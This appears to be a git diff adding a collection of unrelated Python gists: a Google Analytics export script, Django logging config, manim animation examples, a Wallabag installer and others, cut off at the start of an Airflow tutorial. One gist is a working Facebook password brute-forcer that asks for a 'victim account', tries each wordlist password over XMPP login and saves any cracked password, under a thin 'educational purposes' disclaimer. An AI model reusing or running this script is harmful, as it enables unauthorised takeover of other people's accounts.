+def ga_query(service, profile_id, pag_index, start_date, end_date):
+
+  return service.data().ga().get(
+      ids='ga:' + profile_id,
+      start_date=start_date,
+      end_date=end_date,
+      metrics='ga:pageviews',
+      dimensions='ga:date,ga:landingPagePath,ga:sourceMedium,ga:networkLocation,ga:country,ga:region,ga:city',
+      sort='-ga:pageviews',
+      samplingLevel='HIGHER_PRECISION',
+      start_index=str(pag_index+1),
+      max_results=str(pag_index+10000)).execute()
+      
+
+def print_results(results, profile_id, pag_index, start_date, end_date):
+  """Prints out the results.
+
+  This prints out the profile name, the column headers, and all the rows of
+  data.
+
+  Args:
+    results: The response returned from the Core Reporting API.
+  """
+
+  # New write header
+  global write_headers, first_headers
+  if pag_index == 0 and (start_date, end_date) == date_ranges[0]:
+    print 'Profile Name: %s' % results.get('profileInfo').get('profileName')
+    columnHeaders = results.get('columnHeaders')
+    cleanHeaders = [str(h['name']) for h in columnHeaders]
+    cleanHeaders.insert(0, 'profile_id')
+    if write_headers:
+      writer.writerow(cleanHeaders)
+      write_headers = False
+      first_headers = cleanHeaders
+    else:
+      assert cleanHeaders == first_headers
+  print 'Now pulling data from %s to %s.' %(start_date, end_date)
+
+
+
+  # Print data table.
+  if results.get('rows', []):
+    for row in results.get('rows'):
+      for i in range(len(row)):
+        old, new = row[i], str()
+        for char in old:
+          new += char if char in string.printable else ''
+        row[i] = new
+      row.insert(0, profile_id)
+      writer.writerow(row)
+
+  else:
+    print 'No Rows Found'
+
+  limit = results.get('totalResults')
+  print pag_index, 'of about', int(round(limit, -4)), 'rows.'
+  return None
+
+
+profile_ids = profile_ids = {'My Profile 1':  '1234',
+##                             'My Profile 2':  '1234567',
+##			     'My Profile 3':  '1234567',
+                           'My Profile 4':  '5678'}
+
+# Uncomment this line & replace with 'profile name': 'id' to query a single profile
+# Delete or comment out this line to loop over multiple profiles.
+
+##profile_ids = {'ryanpraski':  '123456789'}
+
+
+date_ranges = [('2015-08-01',
+               '2016-02-08')]#,
+               #('2015-09-01',
+              # '2015-09-30'),
+              # ('2015-10-01',
+              # '2015-10-31'),
+              # ('2015-11-01',
+              #  '2015-11-30'),
+              # ('2015-12-01',
+              # '2015-12-22')]
+
+path = 'C:\\Users\\ryanpraski\\Documents\\Google Analytics Python Data\\' #replace with path to your folder where csv file with data will be written
+filename = 'google_analytics_data_2.csv' #replace with your filename.
+f = open(path + filename, 'wt')
+writer = csv.writer(f, lineterminator='\n')
+write_headers = True
+first_headers = []
+
+for profile in sorted(profile_ids):
+  if __name__ == '__main__': main(sys.argv)
+  print "Profile done. Next profile..."
+
+f.close()
+print "All profiles done."
+
diff --git a/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py differ
diff --git a/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py
new file mode 100644
index 00000000..c7b6bd25
--- /dev/null
+++ b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py
@@ -0,0 +1,20 @@
+import os
+import numpy as np
+import lightgbm as lgb
+
+# directory with your models
+dir_with_models = './tmp'
+
+# 100 samples of random data (with 70 columns), just for testing
+X = np.random.rand(100, 70)
+
+pred = None 
+for f in os.listdir(dir_with_models):
+    print('Using {0}'.format(f))
+    # read model
+    model = lgb.Booster(model_file = os.path.join(dir_with_models,f))  
+    # compute predictions
+    pred = model.predict(X) if pred is None else pred + model.predict(X)
+    
+# get average of predictions from all models
+pred = pred/float(len(os.listdir(dir_with_models)))
\ No newline at end of file
diff --git a/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py differ
diff --git a/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py
new file mode 100644
index 00000000..137618b0
--- /dev/null
+++ b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py
@@ -0,0 +1,55 @@
+import logging.config
+import os
+from django.utils.log import DEFAULT_LOGGING
+
+# Disable Django's logging setup
+LOGGING_CONFIG = None
+
+LOGLEVEL = os.environ.get('LOGLEVEL', 'info').upper()
+
+logging.config.dictConfig({
+    'version': 1,
+    'disable_existing_loggers': False,
+    'formatters': {
+        'default': {
+            # exact format is not important, this is the minimum information
+            'format': '%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
+        },
+        'django.server': DEFAULT_LOGGING['formatters']['django.server'],
+    },
+    'handlers': {
+        # console logs to stderr
+        'console': {
+            'class': 'logging.StreamHandler',
+            'formatter': 'default',
+        },
+        # Add Handler for Sentry for `warning` and above
+        'sentry': {
+            'level': 'WARNING',
+            'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler',
+        },
+        'django.server': DEFAULT_LOGGING['handlers']['django.server'],
+    },
+    'loggers': {
+        # default for all undefined Python modules
+        '': {
+            'level': 'WARNING',
+            'handlers': ['console', 'sentry'],
+        },
+        # Our application code
+        'app': {
+            'level': LOGLEVEL,
+            'handlers': ['console', 'sentry'],
+            # Avoid double logging because of root logger
+            'propagate': False,
+        },
+        # Prevent noisy modules from logging to Sentry
+        'noisy_module': {
+            'level': 'ERROR',
+            'handlers': ['console'],
+            'propagate': False,
+        },
+        # Default runserver request logging
+        'django.server': DEFAULT_LOGGING['loggers']['django.server'],
+    },
+})
\ No newline at end of file
diff --git a/hard-gists/06336eb10a1628850d6f/._snippet.py b/hard-gists/06336eb10a1628850d6f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/06336eb10a1628850d6f/._snippet.py differ
diff --git a/hard-gists/06336eb10a1628850d6f/snippet.py b/hard-gists/06336eb10a1628850d6f/snippet.py
new file mode 100644
index 00000000..7e1e4d08
--- /dev/null
+++ b/hard-gists/06336eb10a1628850d6f/snippet.py
@@ -0,0 +1,43 @@
+from random import randrange
+
+from twisted.internet.defer import DeferredQueue
+from twisted.internet.task import deferLater, cooperate
+from twisted.internet import reactor
+
+
+def async(n):
+    print 'Starting job', n
+    d = deferLater(reactor, n, lambda: None)
+    def cbFinished(ignored):
+        print 'Finishing job', n
+    d.addCallback(cbFinished)
+    return d
+
+
+def assign(jobs):
+    # Create new jobs to be processed
+    jobs.put(randrange(10))
+    reactor.callLater(randrange(10), assign, jobs)
+
+
+def worker(jobs):
+    while True:
+        yield jobs.get().addCallback(async)
+
+
+def main():
+    jobs = DeferredQueue()
+
+    for i in range(10):
+        jobs.put(i)
+
+    assign(jobs)
+
+    for i in range(3):
+        cooperate(worker(jobs))
+
+    reactor.run()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py differ
diff --git a/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py
new file mode 100644
index 00000000..42ec1374
--- /dev/null
+++ b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py
@@ -0,0 +1,368 @@
+#!/usr/bin/env python
+
+#
+# Usage: python extract_scene.py -p [filename] [classname]
+# eg:    python extract_scene.py -p examples.py DrawCircle
+#
+
+import math
+import numpy as np
+
+import helpers
+from scene import Scene
+from animation.transform import *
+from animation.simple_animations import *
+from topics.geometry import *
+from topics import functions
+
+from mobject.tex_mobject import TexMobject
+
+
+
+
+# Draw basic shapes
+
+class DrawCircle(Scene):
+    def construct(self):
+        circle = Circle(color=WHITE,radius=1)
+        self.play(ShowCreation(circle))
+
+
+class DrawLine(Scene):
+    def construct(self):
+        START = (0,0,0)
+        END =   (4,0,0)
+        line = Line(START,END);
+        self.play(ShowCreation(line))
+
+
+class DrawRectangle(Scene):
+    def construct(self):
+        rect = Rectangle(height=3,width=4)
+        self.play(ShowCreation(rect))
+
+
+class DrawPolygon(Scene):
+    def construct(self):
+        Hexagon =   [(0,0,0),   #P1
+                    (1,1,0),    #P2
+                    (2,1,0),    #P3
+                    (3,0,0),    #P4
+                    (2,-1,0),   #P5
+                    (1,-1,0)    #P6
+                    ]
+
+        poly = Polygon(*Hexagon)
+        self.play(ShowCreation(poly))
+
+
+class DrawVector(Scene):
+    def construct(self):
+        vector = Vector(direction=UP)
+        self.play(ShowCreation(vector))
+
+
+class DrawArc(Scene):
+    def construct(self):
+        angle = math.radians(180)
+        arc =  Arc(radius=2,angle=angle)
+        self.play(ShowCreation(arc))
+
+
+
+# Move shapes
+class MoveCircle(Scene):
+    def construct(self):
+        circle = Circle(radius=1,color=RED)
+        end_point = (3,0,0)
+        animation = ApplyMethod(circle.shift, end_point)
+        self.play(animation)
+
+class MoveVector(Scene):
+    def construct(self):
+        vector = Vector(direction=RIGHT)
+        end_point = (4,0,0)
+        animation = ApplyMethod(vector.shift,end_point)
+        self.play(animation)
+
+
+# Animate shapes
+
+class RotateRect(Scene):
+    def construct(self):
+        rect  = Rectangle(height=1,width=2)
+        angle = math.radians(90)
+        animation = Rotate(rect, angle=angle)
+        self.play(animation)
+
+
+class ScaleCircle(Scene):
+    def construct(self):
+        circle = Circle(radius=2, fill_color=YELLOW, fill_opacity=1)
+        self.play(GrowFromCenter(circle))
+
+
+class RotatePolygon(Scene):
+    def construct(self):
+        Hexagon =   [(0,0,0),   #P1
+                    (1,1,0),    #P2
+                    (2,1,0),    #P3
+                    (3,0,0),    #P4
+                    (2,-1,0),   #P5
+                    (1,-1,0)    #P6
+                    ]
+
+        poly = Polygon(*Hexagon)
+        animation = Rotate(poly, angle=math.radians(180), in_place=True)
+        self.play(animation)
+
+
+class RotateSquareForever(Scene):
+    def construct(self):
+        square = Square()
+        rotate = Rotating(square)
+        self.play(rotate)
+
+
+# Transform one shape to another
+
+class LineToCircle(Scene):
+    def construct(self):
+        line = Line((0,0,0), (4,0,0))
+        arc = Circle(color = WHITE, radius=1)
+        self.play(ShowCreation(arc))
+        self.play(Transform(arc, line))
+        self.dither()
+
+class DotToLine(Scene):
+    def construct(self):
+        dot = Dot()
+        line = Line((0,0,0), (3,0,0))
+        self.play(ShowCreation(dot))
+        self.play(Transform(dot, line))
+        self.dither()
+
+class DotToCircle(Scene):
+    def construct(self):
+        circle = Circle()
+        dot = Dot()
+        self.play(ShowCreation(dot))
+        self.play(Transform(dot, circle))
+        self.dither()
+
+
+class LineToSquare(Scene):
+    def construct(self):
+        line = Line((0,0,0),(3,0,0))
+        square = Rectangle(width=3, height=3)
+        # OR: square = Square()
+        self.play(ShowCreation(line))
+        self.play(Transform(line, square))
+        self.dither()
+
+
+
+
+# Functions and Equations
+
+class PlotFunctionGraph(Scene):
+    def construct(self):
+        self.numpy_sin_function()
+        self.clear()
+        self.numpy_cos_function()
+        self.clear()
+        self.damped_sin_wave()
+        self.clear()
+        self.sigmoid_function()
+        self.clear()
+        self.soft_plus()
+
+    def numpy_sin_function(self):
+        function = np.sin
+        wave = functions.FunctionGraph(function,x_min=-5,x_max=5)
+        self.play(ShowCreation(wave))
+
+    def numpy_cos_function(self):
+        function = np.cos
+        wave = functions.FunctionGraph(function,x_min=-5,x_max=5,color=RED)
+        self.play(ShowCreation(wave))
+
+
+    def damped_sin_wave(self):
+        # y(t) = e^(-t)*cos(2*pi*t)
+        function = lambda t: np.exp(-t)*np.cos(2*np.pi*t)
+        wave = functions.FunctionGraph(function,x_min=-1,x_max=5)
+        self.play(ShowCreation(wave))
+
+    def sigmoid_function(self):
+
+        function = helpers.sigmoid
+        wave = functions.FunctionGraph(function,x_max=6,x_min=-6)
+        self.play(ShowCreation(wave))
+
+    def soft_plus(self):
+        function = lambda t: np.log(1+np.exp(t))
+        curve = functions.FunctionGraph(function,x_min=-6,x_max=7)
+        self.play(ShowCreation(curve))
+
+
+
+# combine and animate complex shapes
+class DrawFlag(Scene):
+    def construct(self):
+        flag = Rectangle(height=1,width=1.9,stroke_width=1.5,fill_color=DARK_BLUE,fill_opacity=1)
+        bottom_corner = flag.get_corner(LEFT+DOWN)
+        pole = Line(bottom_corner,bottom_corner+(DOWN*2.5), stroke_width=1.5)
+        flag.add(pole)
+        self.play(ShowCreation(flag))
+        self.dither()
+
+class DrawStar(Scene):
+    def construct(self):
+        up_triangle = Polygon((0,0,0),(+2,-2,0),(-2,-2,0),stoke_width=1)
+        down_triangle = Polygon(up_triangle.get_left()+LEFT*(0.5),
+                                up_triangle.get_right()+RIGHT*(0.5),
+                                up_triangle.get_bottom()+DOWN)
+        self.play(ShowCreation(up_triangle))
+        self.play(ShowCreation(down_triangle))
+
+
+class MoveAlongPathAnimation(Scene):
+    def construct(self):
+        wave = functions.FunctionGraph(np.sin,x_min=-5,x_max=4)
+        dot  = Dot(wave.points[0],color=RED,radius=0.2)
+        self.play(ShowCreation(wave))
+        self.play(GrowFromCenter(dot))
+        self.play(MoveAlongPath(dot,wave),rate_time=5)
+
+
+class DrawAndGate(Scene):
+    def construct(self):
+
+        AND_GATE = VGroup()
+
+        arc = Arc(start_angle=3*np.pi/2,angle=np.pi,radius=0.6)
+        body = Mobject(Line(arc.points[-1], arc.get_top()+LEFT),
+                        Line(arc.get_top()+LEFT, arc.get_top()+LEFT+DOWN*1.2),
+                        Line(arc.get_top()+LEFT+DOWN*1.2, arc.points[0]),
+                        )
+
+
+        arc_center = len(arc.points)/2 
+        out =   Line(arc.points[arc_center],arc.points[arc_center]+RIGHT)
+
+        input_a = Line(body[1].get_center()+UP*0.3,body[1].get_center()+UP*0.3+LEFT)
+        input_b = Line(body[1].get_center()+DOWN*0.3,body[1].get_center()+DOWN*0.3+LEFT)
+
+        AND_GATE.add(arc,body)
+        self.play(ShowCreation(AND_GATE))
+
+        self.play(ShowCreation(input_a),ShowCreation(input_b),ShowCreation(out))
+
+
+class DivideCircleIntoParts(Scene):
+    def construct(self):
+        PARTS = 8
+        ANGLE = 360/PARTS
+        start_point = (-2,0,0)
+        end_point = (2,0,0)
+        
+        circle = Circle(radius=2,color=WHITE)
+        start_line = Line(start_point,end_point)
+        copy = start_line.copy()
+
+        center = Dot()
+
+        self.play(ShowCreation(circle))
+        self.play(ShowCreation(center))
+        self.play(Transform(center,start_line))
+
+        for i in range(PARTS/2):
+            divider = copy.rotate(angle=math.radians(ANGLE), about_point=copy.get_center())
+            to = Transform(start_line ,divider)
+            self.play(to)
+            self.add(divider.copy())
+            self.dither()
+
+
+class LightSourcePhoton(Scene):
+    def construct(self):
+
+        Amplitude = 0.4
+        freq = 3
+        angular_freq = (2*np.pi)*freq
+        equation = lambda t: Amplitude*np.sin(t*angular_freq)
+
+        photon = functions.FunctionGraph(equation,x_min=-5,x_max=-4)
+        light_source = Dot(photon.points[0], radius=0.5, color=YELLOW)
+
+        tip = Arrow(photon.points[-1],photon.points[-1]+RIGHT*0.4)
+        self.play(GrowFromCenter(light_source))
+        self.play(ShowCreation(photon))
+        self.play(ShowCreation(tip))
+        photon.add(tip)
+
+        animation = ApplyMethod(photon.shift, (6,0,0))
+        self.play(animation)
+
+
+class Hydrogen(Scene):
+
+    def construct(self):
+        hydrogen_atom = Mobject()
+        title = TexMobject("Hydrogen Atom")
+        point_A = (-2,2,0)
+        point_B = (-2,-2,0)
+        arrow = Arrow(ORIGIN+LEFT*0.9,ORIGIN+RIGHT*0.9)
+        add_sign  = TexMobject("+", stroke_width=0.7)
+
+        orbit = Circle(radius=1.3).scale(0.85)
+        proton = Dot(radius=0.4, color="GREY").scale(0.85)
+        elec = Dot(radius=0.2, color="RED").scale(0.85)
+        p_charge = TexMobject("+", stroke_width=0.5)
+        e_charge = TexMobject("-",stroke_width=0.5)
+
+
+        title.move_to(title.get_center()+UP*2)
+        elec.move_to(orbit.points[0])
+        e_charge.move_to(elec.get_center())
+        p_charge.move_to(proton.get_center())
+
+        self.play(ShowCreation(title))
+        self.play(ShowCreation(orbit))
+        self.play(GrowFromCenter(proton), GrowFromCenter(p_charge))
+        self.play(GrowFromCenter(elec), GrowFromCenter(e_charge))
+
+        self.play(MoveAlongPath(elec, orbit),MaintainPositionRelativeTo(e_charge, elec), run_time=5,rate_func=None)
+
+        hydrogen_atom.add(orbit,elec, proton, e_charge, p_charge)
+        atom_copy = hydrogen_atom.copy()
+
+        h1_text = TexMobject("H").move_to(point_A+LEFT*2)
+        h2_text = TexMobject("H").move_to(point_B+LEFT*2)
+
+
+        names = VGroup(h1_text, h2_text)
+        self.play(ApplyMethod(atom_copy.shift, point_A),ApplyMethod(hydrogen_atom.shift, point_B),Transform(title, names))
+
+
+        add_sign.move_to(atom_copy.get_center()+DOWN*2)
+        self.play(ShowCreation(add_sign),ShowCreation(arrow))
+
+        h1_atom = atom_copy.copy().move_to(arrow.get_end()+RIGHT*3.5)
+        h2_atom = hydrogen_atom.copy().move_to(arrow.get_end()+RIGHT*1.5)
+        self.remove(atom_copy, hydrogen_atom)
+
+        h2_atom[1].move_to(h2_atom[0].points[2])
+        h2_atom[3].move_to(h2_atom[1].get_center())
+        h1_atom[1].move_to(h1_atom[0].points[14])
+        h1_atom[3].move_to(h1_atom[1].get_center())
+
+        h2_molecule = VGroup(h1_atom,h2_atom)
+        two_atoms = VGroup(atom_copy,hydrogen_atom) #org.copy()
+
+        molecule_name = TexMobject("H_{2}").move_to(h2_molecule.get_center()+DOWN*2.5)
+        self.play(Transform(two_atoms, h2_molecule), FadeOut(arrow.add(add_sign)))
+        self.add(h2_molecule)
+        self.remove(title,two_atoms)
+        self.play(Transform(names, molecule_name))
\ No newline at end of file
diff --git a/hard-gists/070c805d947bd17c7a19/._snippet.py b/hard-gists/070c805d947bd17c7a19/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/070c805d947bd17c7a19/._snippet.py differ
diff --git a/hard-gists/070c805d947bd17c7a19/snippet.py b/hard-gists/070c805d947bd17c7a19/snippet.py
new file mode 100644
index 00000000..a06a1cda
--- /dev/null
+++ b/hard-gists/070c805d947bd17c7a19/snippet.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+ 
+#Install SleekXMPP & xmpppy Modules
+#This program is not for children -(18)
+#This program is only for educational purposes only.
+#Don't Attack people facebook account's it's illegal ! 
+#If you want to HaCk into someone's account, you must have the permission of the user. 
+#usage:Facebook-brute-force.py [wordlist file]
+#Coded By Hossam Youssef <hossam.mox@gmail.com> ^_^
+ 
+import xmpp
+import sys
+import urllib,re
+import time
+import random
+import datetime
+ 
+def internet_on():
+	try :
+		data = urllib.urlopen('https://www.google.com')
+		return True
+	except :
+		return False
+		
+if internet_on() == True:
+	print """ 
+	\t _____  _____            _____                     _                
+	\t|  ___|| ___ \          /  __ \                   | |               
+	\t| |_   | |_/ /  ______  | /  \/ _ __   __ _   ___ | | __  ___  _ __ 
+	\t|  _|  | ___ \ |______| | |    | '__| / _` | / __|| |/ / / _ \| '__|
+	\t| |    | |_/ /          | \__/\| |   | (_| || (__ |   < |  __/| |   
+	\t\_|    \____/            \____/|_|    \__,_| \___||_|\_\ \___||_|   
+																															  
+		# Private Ghost Password ^_^
+		# Coded By Hossam Youssef :)
+		# Enjoy Cracking ^_^
+		# usage: Facebook-brute-force.py [wordlist file]
+															 
+														"""     
+	 
+	 
+	 
+	 
+	login = raw_input("Enter username of victim account : ")
+	 
+	 
+	password_list   = open(sys.argv[1],"r")
+	 
+	_login=login+"@chat.facebook.com"
+	 
+	print "[+]Connecting To Facebook Terminal Server... "
+	print "[+]Connection Has Been Establishing Successfully To The Server..."
+	print "[+]Negotiating With The Protocol..."
+	print "[+]There was no error with Port..."
+	print "[+]You Are Successfully Connected Enj0y..."
+	print "[+]Attack Has Been Started Be Patient..."
+		 
+	for pwd in password_list:
+	 
+		sys.stdout.write(".")
+		sys.stdout.flush()
+	 
+		pwd=pwd.strip('\n')
+	 
+		jid = xmpp.protocol.JID(_login)
+		cl  = xmpp.Client(jid.getDomain(), debug=[])
+	 
+		if cl.connect(('chat.facebook.com',5222)):
+			print "!~Injecting Password~!"
+			
+		else:
+			print "[+]Successed[+]"
+	 
+		print '[!]',pwd
+	 
+		if cl.auth(jid.getNode(), pwd):
+			cl.sendInitPresence()
+			print "[+] -> The Account Has Been Cracked ^__^ "," Password Found ==> : ",pwd
+			file = open(login+".txt", "w")
+			file.write("Email : " +login+ "@facebook.com\n")
+			file.write("Password : " +pwd+ "\n")
+			file.write(str(datetime.datetime.now()))
+			file.close()
+			break
+	 
+		cl.disconnect()
+		time.sleep(2)
+else:
+	print "You have a problem to connect to the Internet :(" 
\ No newline at end of file
diff --git a/hard-gists/071932322204bcad6063/._snippet.py b/hard-gists/071932322204bcad6063/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/071932322204bcad6063/._snippet.py differ
diff --git a/hard-gists/071932322204bcad6063/snippet.py b/hard-gists/071932322204bcad6063/snippet.py
new file mode 100644
index 00000000..862f6673
--- /dev/null
+++ b/hard-gists/071932322204bcad6063/snippet.py
@@ -0,0 +1,80 @@
+# coding: utf-8
+
+# Optimized version of the code in this forum post: https://forum.omz-software.com/topic/2850/2-problems-with-shape-nodes-and-sprite-nodes
+
+from scene import *
+import random
+import ui
+import math
+
+def render_bottom_texture(width=100.0):
+	left_path = ui.Path()
+	left_path.move_to(0, 0)
+	left_path.line_to(width/2, width/4)
+	left_path.line_to(width/2, 0)
+	right_path = ui.Path()
+	right_path.move_to(width, 0)
+	right_path.line_to(width / 2, 0)
+	right_path.line_to(width/2, width/4)
+	img_height = width/4
+	with ui.ImageContext(width, width/4) as ctx:
+		ui.set_color('#009900')
+		left_path.fill()
+		ui.set_color('#3fb427')
+		right_path.fill()
+		return Texture(ctx.get_image())
+
+def render_top_texture(width=100.0):
+	height = width/2
+	top_path = ui.Path()
+	top_path.move_to(width / 2, width/2)
+	top_path.line_to(width, width/4)
+	top_path.line_to(width / 2, 0)
+	top_path.line_to(0, width/ 4)
+	top_path.line_to(-width / 2, 0)
+	with ui.ImageContext(width, height) as ctx:
+		ui.set_color('#3aa243')
+		top_path.fill()
+		return Texture(ctx.get_image())
+
+class HeightTileNode (Node):
+	def __init__(self, top_tex, bottom_tex, width, height, position):
+		Node.__init__(self, position=position)
+		bottom_node = SpriteNode(bottom_tex, parent=self)
+		right_wall = SpriteNode(parent=self)
+		right_wall.size = (width/2, height)
+		right_wall.color = '#3fb427'
+		right_wall.anchor_point = (-1, 0)
+		right_wall.position = (0, width/8)
+		left_wall = SpriteNode(parent=self)
+		left_wall.size = (width/2, height)
+		left_wall.color = '#009900'
+		left_wall.anchor_point = (1, 0)
+		left_wall.position = (0, width/8)
+		top_node = SpriteNode(top_tex, parent=self)
+		top_node.position = (0, height + width/8)
+
+class MyScene (Scene):
+	def create_tile(self, height, position, width=100.):
+		return HeightTileNode(self.top_tex, self.bottom_tex, width, height, position)
+
+	def setup(self):
+		self.width = 100.0
+		self.bottom_tex = render_bottom_texture(self.width)
+		self.top_tex = render_top_texture(self.width)
+		self.map_width = 29
+		self.height_map = []
+		for i in range(0, self.map_width):
+			self.height_map.append([])
+			for k in range(0, self.map_width):
+				self.height_map[-1].append(random.randint(1, 255))
+		self.height_tile_node = Node(position = (700, -50))
+		self.height_tile_node.scale = 0.32
+		self.height_tile_node.position = (275, 200)
+		self.add_child(self.height_tile_node)
+		for i in range(len(self.height_map) - 1, -1, -1):
+			for k in range(0, len(self.height_map[i])):
+				tile_node = self.create_tile(self.height_map[i][k], (k * self.width / 2 + i * self.width / 2 - 738, i * self.width / 4 - k * self.width / 4 + 384), self.width)
+				self.height_tile_node.add_child(tile_node)
+
+run(MyScene(), show_fps=True)
diff --git a/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/._snippet.py differ
diff --git a/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py
new file mode 100644
index 00000000..f6e26e2f
--- /dev/null
+++ b/hard-gists/075c35b536cc08b832e353f2f43c0bdc/snippet.py
@@ -0,0 +1,150 @@
+#!/usr/bin/env python
+
+import argparse
+import fileinput
+import grp
+import json
+import urllib.request
+import os
+import subprocess
+import tarfile
+
+# Config
+HOME_DIR = os.environ.get('HOME')
+ACCOUNT_NAME = grp.getgrgid(os.getgid()).gr_name
+WALLABAG_ARCHIVE_URL = 'https://wllbg.org/latest-v2-package'
+WALLABAG_ARCHIVE_NAME = 'release-2.2.2'
+ALWAYSDATA_API_URL = 'https://api.alwaysdata.com/v1/'
+
+
+if __name__ == "__main__":
+
+    parser = argparse.ArgumentParser(
+        description="Install Wallabag on alwaysdata."
+    )
+    parser.add_argument('destination',
+                        help='The destination directory (absolute path)')
+    parser.add_argument('apikey',
+                        help='alwaysdata API key (see your Profile section)')
+    parser.add_argument('database_type',
+                        choices=['MYSQL', 'POSTGRESQL'],
+                        help='The database type')
+    parser.add_argument('database',
+                        help='The database name')
+    parser.add_argument('database_user',
+                        help='The database user name')
+    parser.add_argument('database_password',
+                        help='The database user password')
+    parser.add_argument('url',
+                        help='The URL to join your Wallabag app')
+
+    args = parser.parse_args()
+    apikey = '%s account=%s' % (args.apikey, ACCOUNT_NAME)
+    relative_destination_dir = '/' + args.destination.strip(HOME_DIR)
+
+    # Download archive
+    print('Downloading/extracting archive to %s... (eta: 30 seconds)' %
+          args.destination)
+    # Without this header, wallabag servers send a 403
+    headers = {'User-Agent': 'alwaysdata'}
+    request = urllib.request.Request(WALLABAG_ARCHIVE_URL, None, headers)
+    response = urllib.request.urlopen(request)
+    tar = tarfile.open(mode="r|gz", fileobj=response)
+    tar.extractall(args.destination)
+    tar.close()
+
+    # Initialize API connection
+    passman = urllib.request.HTTPPasswordMgrWithDefaultRealm()
+    passman.add_password(None, ALWAYSDATA_API_URL, apikey, '')
+    auth_handler = urllib.request.HTTPBasicAuthHandler(passman)
+    opener = urllib.request.build_opener(auth_handler)
+    urllib.request.install_opener(opener)
+
+    # Create database user
+    print('Creating database user...')
+    data = {
+        'type': args.database_type,
+        'name': args.database_user,
+        'password': args.database_password
+    }
+    data = json.dumps(data).encode('ascii')
+    request = urllib.request.Request(
+        ALWAYSDATA_API_URL + 'database/user/',
+        data,
+        headers={'Content-Type': 'application/json'})
+    response = urllib.request.urlopen(request)
+
+    # Create database
+    print('Creating database...')
+    data = {
+        'type': args.database_type,
+        'name': args.database,
+        'permissions': {args.database_user: 'FULL'}
+    }
+    data = json.dumps(data).encode('ascii')
+    request = urllib.request.Request(
+        ALWAYSDATA_API_URL + 'database/',
+        data,
+        headers={'Content-Type': 'application/json'})
+    response = urllib.request.urlopen(request)
+
+    # Create site
+    print('Creating site...')
+    data = {
+        'name': 'Wallabag',
+        'httpd': 'apache',
+        'type': 'apache_standard',
+        'path': os.path.join(relative_destination_dir, WALLABAG_ARCHIVE_NAME, 'web'),
+        'addresses': [args.url],
+        'vhost_additional_directives': """
+    <Directory {0}>
+        AllowOverride None
+        Order Allow,Deny
+        Allow from All
+
+        <IfModule mod_rewrite.c>
+            Options -MultiViews
+            RewriteEngine On
+            RewriteCond %{{REQUEST_FILENAME}} !-f
+            RewriteRule ^(.*)$ app.php [QSA,L]
+        </IfModule>
+    </Directory>
+    """.format(os.path.join(args.destination, WALLABAG_ARCHIVE_NAME, 'web'))
+    }
+    data = json.dumps(data).encode('ascii')
+    request = urllib.request.Request(
+        ALWAYSDATA_API_URL + 'site/',
+        data,
+        headers={'Content-Type': 'application/json'})
+    response = urllib.request.urlopen(request)
+
+    # Update wallabag parameters.yml
+    print('Update parameters.yml...')
+    for line in fileinput.input(os.path.join(
+                                args.destination,
+                                WALLABAG_ARCHIVE_NAME, 'app', 'config',
+                                'parameters.yml'), inplace=True):
+        if line.strip():
+            if 'database_driver:' in line:
+                print('    database_driver: %s' % (
+                    'pdo_mysql' if args.database_type == 'MYSQL'
+                    else 'pdo_pgsql'))
+            elif 'database_host:' in line:
+                print('    database_host: %s' % '%s-%s.alwaysdata.net' % (
+                    args.database_type.lower(),
+                    ACCOUNT_NAME))
+            elif 'database_name:' in line:
+                print('    database_name: %s' % args.database)
+            elif 'database_user:' in line:
+                print('    database_user: %s' % args.database_user)
+            elif 'database_password:' in line:
+                print('    database_password: %s' % args.database_password)
+            elif 'database_path:' in line:
+                print('    database_path: null')
+            else:
+                print(line)
+
+    # Execute wallabag installer
+    print('Launch wallabag installer...')
+    subprocess.run("%s/bin/console wallabag:install -e=prod" % (
+        os.path.join(args.destination, WALLABAG_ARCHIVE_NAME)), shell=True)
diff --git a/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py b/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py differ
diff --git a/hard-gists/076424abd8b012371b516da32807ca14/snippet.py b/hard-gists/076424abd8b012371b516da32807ca14/snippet.py
new file mode 100644
index 00000000..c67d7c11
--- /dev/null
+++ b/hard-gists/076424abd8b012371b516da32807ca14/snippet.py
@@ -0,0 +1,98 @@
+"""
+Code that goes along with the Airflow tutorial located at:
